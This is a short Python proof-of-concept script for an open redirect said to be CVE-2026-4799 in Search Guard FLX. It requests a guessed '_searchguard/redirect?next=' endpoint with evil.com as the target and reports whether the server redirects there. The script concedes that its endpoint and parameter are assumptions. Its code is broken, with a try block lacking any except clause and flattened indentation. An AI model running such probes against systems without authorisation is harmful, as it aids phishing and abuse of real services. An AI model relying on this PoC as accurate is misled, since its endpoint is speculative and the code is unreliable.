The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-4799: Search Guard FLX Open Redirect
# This script demonstrates the vulnerability by checking for a redirect to an external domain.
import requests
def check_open_redirect(target_host):
# The vulnerable endpoint and parameter might vary; this is a generic example.
# Based on the description, we craft a URL that attempts to redirect externally.
malicious_url = "http://evil.com"
# Example payload structure (actual endpoint needs to be verified against specific version)
# Assuming a common vulnerable parameter pattern like 'url' or 'redirect'
target_url = f"{target_host}/_searchguard/redirect?next={malicious_url}"
try:
# Send request, do not follow redirects to inspect the response header
response = requests.get(target_url, allow_redirects=False, timeout=5)
if response.status_code in [301, 302, 303, 307, 308]:
location = response.headers.get('Location')
if location and "evil.com" in location:
print(f"[+] Vulnerability Confirmed! Redirecting to: {location}")
return True
print(f"[-] Not vulnerable or payload incorrect. Status: {response.status_code}")
return False
if __name__ == "__main__":
target = "http://localhost:9200" # Replace with actual target
check_open_redirect(target)